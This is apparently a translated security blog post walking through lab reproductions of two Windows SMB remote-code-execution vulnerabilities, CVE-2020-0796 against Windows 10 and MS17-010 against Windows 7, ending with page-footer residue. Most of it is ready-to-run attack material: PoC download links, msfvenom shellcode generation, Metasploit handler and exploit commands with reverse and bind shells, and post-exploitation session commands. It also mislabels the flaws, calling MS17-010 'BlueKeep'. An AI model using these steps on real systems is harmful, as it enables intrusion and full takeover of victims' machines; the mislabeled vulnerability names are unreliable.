EternalBlack (CVE-2020-0796)

0 19
The machine acting as the attack host is Kali, and the firewall policy needs to...

The machine acting as the attack host is Kali, and the firewall policy needs to be disabled.

EternalBlackCVE-2020-0796)

Target machine: Windows 10 IP address: 192.168.200.30

EternalBlack (CVE-2020-0796)

Principle: Implement remote code execution

Note:

This script sometimes causes the target machine to blue screen, requiring the target machine to be restarted. After several script executions, you can get the shell.

Vulnerability detection tool: http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
Attack poc: https://github.com/eerykitty/CVE-2020-0796-PoC
Shell script: https://github.com/chompie1337/SMBGhost_RCE_PoC

Inspection

1.Turn off the firewall and automatic update function of WIN10.

2.Detect the target machine on the attack machine to see if it has any vulnerabilities, checking for vulnerabilities in the target.

1702443745_65793ae1877ec25dd533a.png!small?1702443746651

3.Used poc script to attack the target machine (execute in KALI).

python3 CVE-2020-0796.py 192.168.200.30

The win10 system will display a blue screen, indicating a successful attack.

1702443754_65793aeaccca60edb33fa.png!small?1702443755852

Reverse shell

1.Generate a reverse connection trojan.

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1234 -b '\x00' -i 1 -f python

# Listen on port 1234

2.Use the generated shellcode to replace buf in the exploit.py of the shell script tool with USER_POYLOAD. Keep the name, only replace the content.1702443763_65793af3a93c1345d3ea1.png!small?1702443765780

It is more convenient to modify it on the real machine, and then transfer the file to KALI (press CTRL+F to replace buf with user_payload).

1702443772_65793afca0629b8f381bb.png!small?1702443774587

3.Enable the msf module.

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 1234
set rhost 192.168.200.30
run

1702443782_65793b06018ec89ba5ebb.png!small?1702443783264

Note: 1. The port setting of the listening module must be the same as the port set by the generated trojan, which is used as the entry for reversing the shell.

2.If there is a problem, you can use show options to view the information you have set.

4.Run the exploit.py script to initiate the attack and reverse shell.

(If it fails here, please try pressing Enter multiple times).

1702443789_65793b0d4bc1e8492ce4d.png!small?1702443790497

5.After successful execution, check the monitored serial port to successfully obtain a shell (you need to input the shell to obtain the target machine's privileges for a more convenient view).

1702443795_65793b13bb1e94968bb9e.png!small?1702443797174

After inputting ipconfig, you can see the target machine's IP address. Remote code execution has been achieved, and you can play around at the highest level of permission at this time!

1702443802_65793b1a6be46bb745674.png!small?1702443803923

BlueKeep vulnerability reproduction (ms17-010)


IP addresses may change. If the approach in this article can help you, it is an honor!

Basic commands

# Enter msf: msfconsole
# Use search to find related vulnerabilities: search ms17-010
# Use use to enter module: use number  
# Use info to view module information: info 
# Set the connection method of poc: set payload windows/x64/meterpreter /reverse_tcp  
# View the parameters that need to be configured by the module: show options
# Set parameter: set RHOST 192.168.200.4
# Attack: exploit / run 
# Back: back

Post-exploitation commands

# View current user: getuid
# Enter shell: shell
# Solve shell garbled characters: chcp 65001
# Exit shell: exit
# Put session in background: background
# View all sessions: sessions
# Enter a session: sessions -i id number
# Delete session: sessions -k id number

Environment preparation

Attacker machine: Kali: 192.168.200.1

Target machine: win7 x64 192.168.200.4, firewall turned off

1 Host found


Use nmap to scan win7 in Kali

Nmap -sS 192.168.200.4

The following discovery shows that the host has opened the 445 port, and the operating system type may be win7.

1702443820_65793b2ce8733e3c7d265.png!small?1702443822318

WIN7 IP address.

1702443829_65793b356f6f57434f2c7.png!small?1702443830568

WIN7 MAC address.

1702443837_65793b3d1bfc1352008ba.png!small?1702443838143

2 Vulnerability detection

Firstly, enter msf, then search for the vulnerability module of ms17-010.

Msfconsole   
# Module search: search ms17-010 
# Module used: use 3 

Firstly, we use the scanner module to scan the host to detect the existence of vulnerabilities, using 'use 3'.

1702443849_65793b49001be551f18f6.png!small?1702443850255

1702443855_65793b4f10df609a16fb4.png!small

1702443864_65793b58be5c1e2b7d6ce.png!small?1702443865791

After entering this module, you can use 'info' to view the specific introduction of the vulnerability module.

info

How can we use this module to scan the host? Use the 'show options' option to view the specific parameters we need to input, among which the options marked 'yes' are required parameters. If this parameter is empty, we need to fill it in. The 'RHOSTS' option is empty, so we need to fill it in. RHOSTS represents the target to be attacked. Pressing the tab key after inputting 'r' will automatically complete this parameter.

show options
set rhosts 192.168.200.4

1702443893_65793b7530d255a83bc14.png!small?1702443894495

1702443899_65793b7b6ce78cd7e06eb.png!small?1702443900719

You can now execute the scan attack.

run

It is likely that the host can be attacked by the EternalBlue vulnerability.

1702443906_65793b821b4a98b1c047c.png!small?1702443907235

3 Vulnerability attack

After detecting the existence of a vulnerability, you can try to attack the vulnerability. We choose the exploit module and fill in the necessary parameters as before.

search 17-010
use 0
#Set the payload connection method, reverse_tcp is a reverse connection, meaning the victim machine actively connects to the attacker's machine to obtain a shell
set payload windows/x64/meterpreter/reverse_tcp
show options
set rhosts 192.168.200.4

1702443921_65793b913ea9b5d2b8f25.png!small?1702443922713

1702443925_65793b95c533251a0c646.png!small?1702443927274

Execute the attack and return a meterpreter session. Through this session, you can control the target host and successfully obtain system privileges on the host.

1702443933_65793b9d6cae08b5669fb.png!small?1702443934676

After obtaining host privileges, you can enter the host's shell (cmd) and execute cmd commands.

#Enter dos command line: shell
#Switch encoding to solve garbled character problem: chcp 65001
#Execution of cmd command: ipconfig

1702443942_65793ba65af812ca150e4.png!small?1702443943518

1702443948_65793bac64eb7c2f7faf5.png!small?1702443949605

The entire attack process is over. We won't use this session anymore, so we can exit the current shell and put the session in the msf background.

exit
background

1702443956_65793bb41c77c0dc5f91f.png!small?1702443957248

View all connected sessions and you can enter any session at any time.

sessions
sessions -i session id

1702443963_65793bbb4d78003e62a9e.png!small?1702443964562

The story ends here!

你可能想看:
最后修改时间:
admin
上一篇 2025年03月28日 19:54
下一篇 2025年03月28日 20:17

评论已关闭